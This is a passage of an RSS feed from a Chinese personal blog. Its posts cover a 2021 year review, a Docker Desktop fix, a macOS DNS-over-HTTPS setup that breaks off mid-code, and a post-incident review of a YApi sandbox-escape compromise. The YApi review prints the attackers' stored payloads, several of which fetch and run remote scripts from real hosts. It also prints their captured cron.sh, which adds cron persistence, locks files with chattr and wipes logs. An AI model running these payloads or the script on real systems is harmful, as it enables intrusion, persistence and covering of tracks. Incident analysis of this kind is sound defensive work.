<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Artin's Blog</title>
    <link>https://cat.ms/</link>
    <description>谁有天大力气可以拎着自己飞呀</description>
    <language>zh-CN</language>
    <copyright>All rights reserved 2026, Artin</copyright>
    <lastBuildDate>Fri, 31 Dec 2021 04:00:00 GMT</lastBuildDate>
    <generator>Hexo</generator>
    <atom:link href="https://cat.ms/rss.xml" rel="self" type="application/rss+xml"/>
    <item>
      <title>2021 回顾</title>
      <link>https://cat.ms/posts/2021-summary/</link>
      <description>
        <![CDATA[<p>是刚毕业的一年，也是开始工作的一年，也是吃喝玩乐的一年，也是自我成长的一年。</p>
<p>上班真累啊，在学校的时候还想着工作的时候要趁周六周末学习各种东西，工作之后才发现周六周末两天都玩不够。。。已经写了五天代码了，回到家，连电脑都不想打开…</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/">年终总结</category>
      <pubDate>Fri, 31 Dec 2021 04:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>是刚毕业的一年，也是开始工作的一年，也是吃喝玩乐的一年，也是自我成长的一年。</p><p>上班真累啊，在学校的时候还想着工作的时候要趁周六周末学习各种东西，工作之后才发现周六周末两天都玩不够。。。已经写了五天代码了，回到家，连电脑都不想打开…</p><span id="more"></span><h2 id="工作">工作<a class="header-anchor" href="#工作"></a></h2><p>今年三月份开始的实习，实习的大概内容就是做 IDE 周边，基于 VSCode 这一套，感觉还是挺有意思的。</p><p>学习了 Electron 的周边。</p><p>正式入职之后开始做一些 DSL/编译原理/静态分析 相关的内容，还是很有挑战的。</p><p>最近对 TypeScript Compiler 深入理解了一番，还是蛮有意思的，之后有空的时候希望输出几篇文章。</p><p>在众多大佬附近学到了非常多的东西。</p><p>在互联网公司，职场氛围其实挺好的，但还是学会了职场的一些技巧，成长了。</p><p>目前在做的一款 IDE 框架也已经开源了：<a href="https://github.com/opensumi/core">https://github.com/opensumi/core</a></p><p><a href="https://github.com/opensumi/core"><img data-src="https://gh-card.dev/repos/opensumi/core.svg" alt="opensumi/core"></a></p><p>提供了 VSCode API 的兼容，各种丰富的配置项，提供了快速集成 Electron 的能力，提供了开箱即用的 WebIDE 能力。在集团内已经上线了不少真实应用了。</p><h2 id="毕设">毕设<a class="header-anchor" href="#毕设"></a></h2><p>学了 Rust / Go，毕设先选择了 Rust，发现写不太动，换成了 Go。</p><p>写了一个 Online Judge 判题的东西，本来想写成基于 K8S 的多容器判题，结果最后还是没有实现。</p><p>最后就是实现了一个简化版本：接收判题请求，然后通过 docker 启动相应语言的容器，等待容器返回，然后判断用户的代码运行结果。</p><p>在这个过程中了解了 Linux 中很多进程管理，容器化的知识。</p><h2 id="精神">精神<a class="header-anchor" href="#精神"></a></h2><p>有自己能支配的小钱钱了，买了很多书，买了很多课程。。。</p><p>很有印象的综艺的是《再见爱人》，看完就很想研究一下爱这种东西。然后又去听了一些沈奕斐的课程。</p><p>听了一次陈海贤老师的亲密关系讲座，然后在得到上听完了他的《亲密关系 30 讲》和《自我发展心理学》，非常推荐。</p><p>同时也推荐一下得到上的《心理学基础 30 讲》。</p><p>心理学是一门科学，它不仅是告诉我们一些人类心理活动，还会研究这些心理从何而来，我们的基因中存在着什么样的东西，现代社会形成的规范等。</p><p>我觉得我很需要这些知识。</p><p>中间也把《乌合之众》看了个大半，之后再看社会上的一些群体表现，总会有种奇妙的感觉。在看《误杀 2》的时候，我又感受到了群体心理研究的力量…</p><p>《圆桌派》还是值得听一听的，听文科生对世界的理解，听各路大佬分享一些内容。</p><p>上半年还是有在关注台湾，听一些蓝媒的节目。下半年感觉有点听累了，上下班就改成听一些播客和课程，或者就听歌。</p><p>今年真的也看了很多电影，节目。</p><p>然后就啥也想不起来了，这里也有一个心理学现象：人们总是对记忆的开头和结尾特别有印象，而对中间的记忆不太明确。</p><h2 id="生活">生活<a class="header-anchor" href="#生活"></a></h2><p>生活方面就多姿多彩了很多，几乎每周都会和同事同学出去玩，体验一些新东西，各种买买买。</p><p>有了自己的一辆小电动车，有了年轻人的第一台 iPad，第一个降噪耳机，第一个智能手表。</p><p>跟朋友们吃了很多店，逛了杭州的很多地方。</p><p>我真的很喜欢去西湖，几乎每周都要去，跟朋友一起走着，聊聊天，很美好。</p><p>第一次看了话剧，东野圭吾《回廊亭杀人事件》，买到了前排的票~ 感觉还不错，后面又听了硬核电台对他们的采访，还是蛮有意思的。</p><p>第一次玩剧本杀、第一次玩密室、跟同事们吃了各种没吃过的。</p><p>进城的感觉真好~</p><p>有了自己的一个小空间，买了各种各样的东西，衣服鞋子买买买，买了各种厨具，家居用品。</p><p>开始健身了，几乎是每天都去健身房，周六末偶尔会休息一下或者出去玩了。只能说是很有效果~ 卧推能上 30KG 了（加上杆也就是 100 斤）。</p><h2 id="That’s-All">That’s All<a class="header-anchor" href="#That’s-All"></a></h2><p>每天到点上班，下班玩一会。</p><p>这就是社畜的生活吧~</p><p>每天都很累，但每天也会有一些生活中的小美好让你开心起来。</p><p>感觉活着还是充满希望的~</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>Windows Docker Desktop 启动失败</title>
      <link>https://cat.ms/posts/win-docker-desktop-failed-to-initialize/</link>
      <description>
        <![CDATA[<p>在 Windows 上遇到一个 Docker Desktop 无法启动的问题，表现就是点击 Docker 图标，但是就是不启动，过了一会弹了一个框：</p>
<p><img src="https://i.cat.ms/uimages/1629526988050-1629526988031-afaa3675ccc17c8f48c136af73aa4d2f7b8c2ba4.png" alt="弹框"></p>
<p>中文提示的应该是：操作已超时。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/Docker-Desktop/">Docker Desktop</category>
      <category domain="https://cat.ms/tags/Docker/">Docker</category>
      <pubDate>Fri, 20 Aug 2021 22:09:28 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>在 Windows 上遇到一个 Docker Desktop 无法启动的问题，表现就是点击 Docker 图标，但是就是不启动，过了一会弹了一个框：</p><p><img data-src="https://i.cat.ms/uimages/1629526988050-1629526988031-afaa3675ccc17c8f48c136af73aa4d2f7b8c2ba4.png" alt="弹框"></p><p>中文提示的应该是：操作已超时。</p><span id="more"></span><h2 id="解决方案">解决方案<a class="header-anchor" href="#解决方案"></a></h2><p>可能是因为在 Windows 的更新中 Docker 还没退出？然后计算机重新启动后 Docker 检测到某个文件还在，但发现一直请求都请求不到。</p><p>删除 Docker 的几个数据文件就可以了:</p><ul><li>C:\Users\[USER]\AppData\Local\Docker</li><li>C:\Users\[USER]\AppData\Roaming\Docker</li><li>C:\Users\[USER]\AppData\Roaming\Docker Desktop</li></ul><h2 id="参考链接">参考链接<a class="header-anchor" href="#参考链接"></a></h2><ul><li><a href="https://forums.docker.com/t/docker-failed-to-initialize/111341/8">Docker failed to initialize</a></li><li><a href="https://forums.docker.com/t/docker-failed-to-initialize-operation-timed-out/111321/3">Docker failed to initialize.Operation timed out</a></li></ul>]]>
      </content:encoded>
    </item>
    <item>
      <title>YApi 漏洞复盘及解决方案</title>
      <link>https://cat.ms/posts/yapi-vulnerability-review/</link>
      <description>
        <![CDATA[<p>今天为了 OPPO 商城的学生认证上了一下教育邮箱，去邮箱验证的时候发现收件箱收了一堆莫名其妙的退信，然后再一看发件箱，发现被拿来发了一堆的广告，感觉大事不妙。</p>
<p>扫了一下发件箱，发现有一条发送给某个随机邮箱说 YApi 注册成功的信息，我在自己的公网服务上是部署了一个 YApi，又想到好像最近有 YApi 的漏洞。</p>
<p>于是登上了 YApi 看了一下，注册用户中果然多了一堆莫名的乱码帐号。</p>
<p>看起来服务器是安然无恙的，所幸我是用 Docker 运行的 YApi。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/Linux/">Linux</category>
      <category domain="https://cat.ms/tags/Linux/">Linux</category>
      <category domain="https://cat.ms/tags/%E6%BC%8F%E6%B4%9E/">漏洞</category>
      <pubDate>Mon, 26 Jul 2021 22:40:01 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>今天为了 OPPO 商城的学生认证上了一下教育邮箱，去邮箱验证的时候发现收件箱收了一堆莫名其妙的退信，然后再一看发件箱，发现被拿来发了一堆的广告，感觉大事不妙。</p><p>扫了一下发件箱，发现有一条发送给某个随机邮箱说 YApi 注册成功的信息，我在自己的公网服务上是部署了一个 YApi，又想到好像最近有 YApi 的漏洞。</p><p>于是登上了 YApi 看了一下，注册用户中果然多了一堆莫名的乱码帐号。</p><p>看起来服务器是安然无恙的，所幸我是用 Docker 运行的 YApi。</p><span id="more"></span><h2 id="漏洞概述">漏洞概述<a class="header-anchor" href="#漏洞概述"></a></h2><p>让专业的人来说：</p><blockquote><p><a href="https://github.com/YMFE/yapi">Yapi</a> 是高效、易用、功能强大的 api 管理平台，旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API，YApi 还为用户提供了优秀的交互体验，开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。</p><p>2021 年 7 月 8 日，有用户在 GitHub 上发布了遭受攻击的相关信息。攻击者通过注册用户，并使用 Mock 功能实现远程命令执行。命令执行的原理是 Node.js 通过 <code>require('vm')</code> 来构建沙箱环境，而攻击者可以通过原型链改变沙箱环境运行的上下文，从而达到沙箱逃逸的效果。通过 <code>vm.runInNewContext("this.constructor.constructor('return process')()")</code> 即可获得一个 process 对象。</p><footer><strong>0x4qE@知道创宇 404 实验室 </strong><cite><a href="https://paper.seebug.org/1639/">paper.seebug.org/1639</a></cite></footer></blockquote><p>推荐大家看看这个原文。</p><h2 id="好嘛，解决它">好嘛，解决它<a class="header-anchor" href="#好嘛，解决它"></a></h2><p>这还是我第一次直面漏洞。</p><p>看了一些解决方案：</p><ul><li><a href="https://github.com/YMFE/yapi/issues/2229">https://github.com/YMFE/yapi/issues/2229</a></li><li><a href="https://mp.weixin.qq.com/s/yKDmMrhaWZIOTPsz6zqHYA">https://mp.weixin.qq.com/s/yKDmMrhaWZIOTPsz6zqHYA</a></li></ul><p>所以接下来就是关闭漏洞利用 ＆ 止损。</p><h3 id="升级版本">升级版本<a class="header-anchor" href="#升级版本"></a></h3><p>更新 Yapi 至官方发布的 1.9.3，新版本用了更为安全的 safeify 模块，可以有效地防止这个漏洞。</p><p>我用的是 <a href="https://github.com/fjc0k/docker-YApi">https://github.com/fjc0k/docker-YApi</a>，</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">docker-compose pull yapi-web \</span><br><span class="line">  &amp;&amp; docker-compose down \</span><br><span class="line">  &amp;&amp; docker-compose up -d</span><br></pre></td></tr></tbody></table></figure><h3 id="关闭-YAPI-用户注册功能">关闭 YAPI 用户注册功能<a class="header-anchor" href="#关闭-YAPI-用户注册功能"></a></h3><p>在 <code>docker-compose.yml</code> 配置环境变量 <code>YAPI_CLOSE_REGISTER</code> 为 true 即可。</p><p>然后重启 compose：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose restart</span><br></pre></td></tr></tbody></table></figure><h3 id="删除-mock-脚本">删除 mock 脚本<a class="header-anchor" href="#删除-mock-脚本"></a></h3><p>首先进入 Mongo 的容器内，然后连接数据库，删除掉已有的 mock 脚本：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">docker-compose <span class="built_in">exec</span> yapi-mongo /bin/bash</span><br><span class="line">mongo</span><br><span class="line"></span><br><span class="line"><span class="comment"># 数据库相关操作</span></span><br><span class="line">&gt; show dbs</span><br><span class="line">&gt; use yapi</span><br><span class="line">&gt; show tables</span><br></pre></td></tr></tbody></table></figure><p>然后就能看到本地已有的表，需要删除 mock 脚本，先看一下有什么 Mock 脚本：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">&gt; db.adv_mock.find()</span><br><span class="line"><span class="comment"># 就能看到一堆 带有 sandbox 字样的 mock_script</span></span><br><span class="line">{ <span class="string">"_id"</span> : 10, <span class="string">"enable"</span> : <span class="literal">true</span>, <span class="string">"interface_id"</span> : 327, <span class="string">"mock_script"</span> : <span class="string">"const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami &amp;&amp; echo 123456789\").toString()"</span>, <span class="string">"project_id"</span> : 59, <span class="string">"uid"</span> : <span class="string">"194"</span>, <span class="string">"up_time"</span> : 1601333575, <span class="string">"__v"</span> : 0 }</span><br><span class="line">{ <span class="string">"_id"</span> : 16, <span class="string">"enable"</span> : <span class="literal">true</span>, <span class="string">"interface_id"</span> : 332, <span class="string">"mock_script"</span> : <span class="string">"const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami &amp;&amp; echo 123456789\").toString()"</span>, <span class="string">"project_id"</span> : 67, <span class="string">"uid"</span> : <span class="string">"201"</span>, <span class="string">"up_time"</span> : 1601335228, <span class="string">"__v"</span> : 0 }</span><br><span class="line">{ <span class="string">"_id"</span> : 76, <span class="string">"enable"</span> : <span class="literal">true</span>, <span class="string">"interface_id"</span> : 742, <span class="string">"mock_script"</span> : <span class="string">"const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"</span>, <span class="string">"project_id"</span> : 179, <span class="string">"uid"</span> : <span class="string">"299"</span>, <span class="string">"up_time"</span> : 1625730796, <span class="string">"__v"</span> : 0 }</span><br><span class="line">{ <span class="string">"_id"</span> : 82, <span class="string">"enable"</span> : <span class="literal">true</span>, <span class="string">"interface_id"</span> : 772, <span class="string">"mock_script"</span> : <span class="string">"\n        const sandbox = this; // 获取Context\n        const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数\n        const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数\n        const myfun = FunctionConstructor('return process'); // 构造一个函数，返回process全局变量\n        const process = myfun();\n        mockJson = process.mainModule.require(\"child_process\").execSync(\"curl -L https://jhx15.zzlxrj.com/Uploads/image/goods/2021-06-07/start.sh | bash -s '46n4YeKAjUp2FcJnx8SFEb5CMK3kMRJ9o9MEuCzWtv2VEF5LYeq6TJKSWV3h4sEj4CQiUmsb2dNMEQcKJZJM8zCYFp7wFoy'\").toString()"</span>, <span class="string">"project_id"</span> : 227, <span class="string">"uid"</span> : <span class="string">"355"</span>, <span class="string">"up_time"</span> : 1626338890, <span class="string">"__v"</span> : 0 }</span><br><span class="line">{ <span class="string">"_id"</span> : 88, <span class="string">"enable"</span> : <span class="literal">true</span>, <span class="string">"interface_id"</span> : 787, <span class="string">"mock_script"</span> : <span class="string">"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"curl http://47.98.198.11:8015/init.sh | bash\").toString()"</span>, <span class="string">"project_id"</span> : 243, <span class="string">"uid"</span> : <span class="string">"383"</span>, <span class="string">"up_time"</span> : 1625989857, <span class="string">"__v"</span> : 0 }</span><br><span class="line">{ <span class="string">"_id"</span> : 94, <span class="string">"enable"</span> : <span class="literal">true</span>, <span class="string">"interface_id"</span> : 792, <span class="string">"mock_script"</span> : <span class="string">"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()"</span>, <span class="string">"project_id"</span> : 251, <span class="string">"uid"</span> : <span class="string">"390"</span>, <span class="string">"up_time"</span> : 1625991205, <span class="string">"__v"</span> : 0 }</span><br><span class="line">{ <span class="string">"_id"</span> : 100, <span class="string">"enable"</span> : <span class="literal">true</span>, <span class="string">"interface_id"</span> : 827, <span class="string">"mock_script"</span> : <span class="string">"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()"</span>, <span class="string">"project_id"</span> : 267, <span class="string">"uid"</span> : <span class="string">"404"</span>, <span class="string">"up_time"</span> : 1626096094, <span class="string">"__v"</span> : 0 }</span><br><span class="line">{ <span class="string">"_id"</span> : 106, <span class="string">"enable"</span> : <span class="literal">true</span>, <span class="string">"interface_id"</span> : 832, <span class="string">"mock_script"</span> : <span class="string">"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()"</span>, <span class="string">"project_id"</span> : 275, <span class="string">"uid"</span> : <span class="string">"411"</span>, <span class="string">"up_time"</span> : 1626096134, <span class="string">"__v"</span> : 0 }</span><br><span class="line">{ <span class="string">"_id"</span> : 124, <span class="string">"enable"</span> : <span class="literal">true</span>, <span class="string">"interface_id"</span> : 922, <span class="string">"mock_script"</span> : <span class="string">"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nvar t = process[\"\\x6d\\x61\\x69\\x6e\\x4d\\x6f\\x64\\x75\\x6c\\x65\"][\"\\x72\\x65\\x71\\x75\\x69\\x72\\x65\"](\"\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\")\r\nmockJson=t.execSync(\"wget -qO- http://47.98.198.11:8015/cron.sh | sh \").toString()"</span>, <span class="string">"project_id"</span> : 315, <span class="string">"uid"</span> : <span class="string">"425"</span>, <span class="string">"up_time"</span> : 1626506262, <span class="string">"__v"</span> : 0 }</span><br><span class="line">{ <span class="string">"_id"</span> : 130, <span class="string">"enable"</span> : <span class="literal">true</span>, <span class="string">"interface_id"</span> : 992, <span class="string">"mock_script"</span> : <span class="string">"const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"echo 123321vul\").toString()"</span>, <span class="string">"project_id"</span> : 387, <span class="string">"uid"</span> : <span class="string">"635"</span>, <span class="string">"up_time"</span> : 1626766514, <span class="string">"__v"</span> : 0 }</span><br><span class="line"></span><br><span class="line">&gt; db.adv_mock.deleteMany({<span class="string">"mock_script"</span> : {<span class="variable">$regex</span> : <span class="string">"sandbox"</span>}})</span><br></pre></td></tr></tbody></table></figure><p>可以看到是真的有很多利用脚本。。。</p><p>打开一个 <code>cron.sh</code> 看了一下：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line">crondir1=<span class="string">'/var/spool/cron/'</span><span class="string">"<span class="variable">$USER</span>"</span></span><br><span class="line">crondir2=<span class="string">'/var/spool/cron/crontabs/'</span><span class="string">"<span class="variable">$USER</span>"</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">chmod</span> 777 /usr/bin/chattr</span><br><span class="line"><span class="built_in">chmod</span> 777 /bin/chattr</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">unlock_cron</span></span>()</span><br><span class="line">{</span><br><span class="line">    chattr -ia /etc/crontab</span><br><span class="line">    chattr -R -ia /var/spool/cron</span><br><span class="line">    chattr -R -ia /var/spool/cron/crontabs</span><br><span class="line">    chattr -R -ia /etc/cron.d</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">lock_cron</span></span>()</span><br><span class="line">{</span><br><span class="line">    chattr +ia <span class="variable">${crondir1}</span></span><br><span class="line">    chattr +ia <span class="variable">${crondir2}</span></span><br><span class="line">    chattr +ia /etc/cron.d/zabbix_client</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">rtdir=<span class="string">"/etc/zabbix_flag"</span></span><br><span class="line"><span class="built_in">echo</span> 1 &gt; <span class="variable">${rtdir}</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ -f <span class="string">"<span class="variable">$rtdir</span>"</span> ]</span><br><span class="line"><span class="keyword">then</span></span><br><span class="line">    <span class="built_in">mv</span> /tmp/zabbix_client /etc/zabbix_client</span><br><span class="line">    unlock_cron</span><br><span class="line">    <span class="built_in">cat</span> <span class="variable">${crondir1}</span> | grep -E -v <span class="string">"^#"</span> | grep -q <span class="string">"zabbix_client"</span> ||               <span class="built_in">echo</span> <span class="string">"*/30 * * * * /etc/zabbix_client &gt;/dev/null 2&gt;&amp;1"</span> &gt;&gt; <span class="variable">${crondir1}</span></span><br><span class="line">    <span class="built_in">cat</span> <span class="variable">${crondir2}</span> | grep -E -v <span class="string">"^#"</span> | grep -q <span class="string">"zabbix_client"</span> ||               <span class="built_in">echo</span> <span class="string">"*/30 * * * * /etc/zabbix_client &gt;/dev/null 2&gt;&amp;1"</span> &gt;&gt; <span class="variable">${crondir2}</span></span><br><span class="line">    <span class="built_in">cat</span> /etc/cron.d/zabbix_client | grep -E -v <span class="string">"^#"</span> | grep -q <span class="string">"zabbix_client"</span> || <span class="built_in">echo</span> <span class="string">"*/40 * * * * root /etc/zabbix_client &gt;/dev/null 2&gt;&amp;1"</span> &gt;&gt; /etc/cron.d/zabbix_client</span><br><span class="line">    <span class="built_in">cat</span> /etc/crontab | grep -E -v <span class="string">"^#"</span> | grep -q <span class="string">"zabbix_client"</span> ||              <span class="built_in">echo</span> <span class="string">"0 * * * * root /etc/zabbix_client &gt;/dev/null 2&gt;&amp;1"</span> &gt;&gt; /etc/crontab</span><br><span class="line">    crontab -l | grep -E -v <span class="string">"^#"</span> | grep -q <span class="string">"zabbix_client"</span> || (crontab -l ; <span class="built_in">echo</span> <span class="string">"*/30 * * * * /etc/zabbix_client &gt;/dev/null 2&gt;&amp;1"</span>) | crontab -</span><br><span class="line">    lock_cron</span><br><span class="line">    <span class="built_in">chmod</span> 777 /etc/zabbix_client</span><br><span class="line">    chattr +ia /etc/zabbix_client</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    unlock_cron</span><br><span class="line">    crontab -l | grep -E -v <span class="string">"^#"</span> | grep -q <span class="string">"zabbix_client"</span> || (crontab -l ; <span class="built_in">echo</span> <span class="string">"*/30 * * * * /tmp/zabbix_client &gt;/dev/null 2&gt;&amp;1"</span>) | crontab -</span><br><span class="line">    lock_cron</span><br><span class="line">    <span class="built_in">chmod</span> 777 /tmp/zabbix_client</span><br><span class="line">    chattr +ia /tmp/zabbix_client</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line">iptables -A OUTPUT -p tcp -j ACCEPT</span><br><span class="line"><span class="built_in">history</span> -c</span><br><span class="line"><span class="built_in">echo</span> &gt; /var/spool/mail/root</span><br><span class="line"><span class="built_in">echo</span> &gt; /var/log/wtmp</span><br><span class="line"><span class="built_in">echo</span> &gt; /var/log/secure</span><br><span class="line"><span class="built_in">echo</span> &gt; /root/.bash_history</span><br><span class="line"><span class="built_in">chmod</span> 444 /usr/bin/chattr</span><br><span class="line"><span class="built_in">chmod</span> 444 /bin/chattr</span><br><span class="line"><span class="built_in">rm</span> /etc/zabbix_flag</span><br><span class="line"><span class="built_in">rm</span> cron.sh</span><br></pre></td></tr></tbody></table></figure><p>搜了一下 rabbix 是什么：Real-time monitoring of IT components and services, such as networks, servers, VMs, applications and the cloud.</p><p>但是用 docker 的好处就出现了~ docker-compose 停止再启动，一切利用都木有了…</p><h2 id="后记">后记<a class="header-anchor" href="#后记"></a></h2><p>这个漏洞很早之前就看过相关新闻，但没联想到会发生在自己身上…看记录，6.4 号就有人注册了新的 yapi 帐号，止血太晚~</p><p>还好是执行在容器里的服务，没有造成太大的损失。</p><h2 id="参考链接">参考链接<a class="header-anchor" href="#参考链接"></a></h2><ul><li><a href="https://github.com/fjc0k/docker-YApi">https://github.com/fjc0k/docker-YApi</a></li><li><a href="https://paper.seebug.org/1639/">https://paper.seebug.org/1639/</a></li><li><a href="https://github.com/YMFE/yapi/issues/2229">https://github.com/YMFE/yapi/issues/2229</a></li></ul>]]>
      </content:encoded>
    </item>
    <item>
      <title>MacOS 配置 DNS Over HTTPS</title>
      <link>https://cat.ms/posts/macos-use-doh/</link>
      <description>
        <![CDATA[<p>最近折腾了一下在 MacOS 本地搭建 DoH，把折腾过程记录一下。</p>
<p>使用工具为 dnscrypt-proxy + dnsmasq。</p>
<p>dnscrypt-proxy 只负责帮我们发起 DoH 请求。</p>
<p>dnsmasq 是一个轻量级的域名解析服务器，帮我们把 DNS 请求转发到 dnscrypt-proxy，而把一些公司域内的域名转发到路由器分发的上游 DNS。</p>
<p>还写了个 <a href="https://github.com/bytemain/utools-dns">uTools 插件</a> 来快速切换 DNS。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/DNS/">DNS</category>
      <category domain="https://cat.ms/tags/DoH/">DoH</category>
      <category domain="https://cat.ms/tags/MacOS/">MacOS</category>
      <pubDate>Mon, 26 Apr 2021 05:09:22 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>最近折腾了一下在 MacOS 本地搭建 DoH，把折腾过程记录一下。</p><p>使用工具为 dnscrypt-proxy + dnsmasq。</p><p>dnscrypt-proxy 只负责帮我们发起 DoH 请求。</p><p>dnsmasq 是一个轻量级的域名解析服务器，帮我们把 DNS 请求转发到 dnscrypt-proxy，而把一些公司域内的域名转发到路由器分发的上游 DNS。</p><p>还写了个 <a href="https://github.com/bytemain/utools-dns">uTools 插件</a> 来快速切换 DNS。</p><span id="more"></span><h2 id="什么是-DoH">什么是 DoH<a class="header-anchor" href="#什么是-DoH"></a></h2><p>什么是 DoH，可以看：<a href="https://zh.wikipedia.org/zh-cn/DNS_over_HTTPS">https://zh.wikipedia.org/zh-cn/DNS_over_HTTPS</a>。</p><h2 id="使用-smartdns-rs">使用 smartdns-rs<a class="header-anchor" href="#使用-smartdns-rs"></a></h2><p><a href="https://github.com/mokeyish/smartdns-rs">smartdns-rs</a> 是一个用 Rust 编写的跨平台本地 DNS 服务器，获取最快的网站 IP，获得最佳上网体验，支持 DoH，DoT。</p><p>开源在 GitHub: <a href="https://github.com/mokeyish/smartdns-rs">https://github.com/mokeyish/smartdns-rs</a></p><p>使用这个软件可以非常方便的使用 DoH。</p><p>在 <a href="https://github.com/mokeyish/smartdns-rs/releases">releases 页面</a> 下载你的系统的二进制文件，解压，然后执行：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 安装服务并启动</span></span><br><span class="line"><span class="built_in">sudo</span> ./smartdns service install</span><br><span class="line"><span class="built_in">sudo</span> ./smartdns service start</span><br><span class="line"></span><br><span class="line"><span class="comment"># 关闭服务</span></span><br><span class="line"><span class="comment"># sudo ./smartdns service stop</span></span><br><span class="line"><span class="comment"># 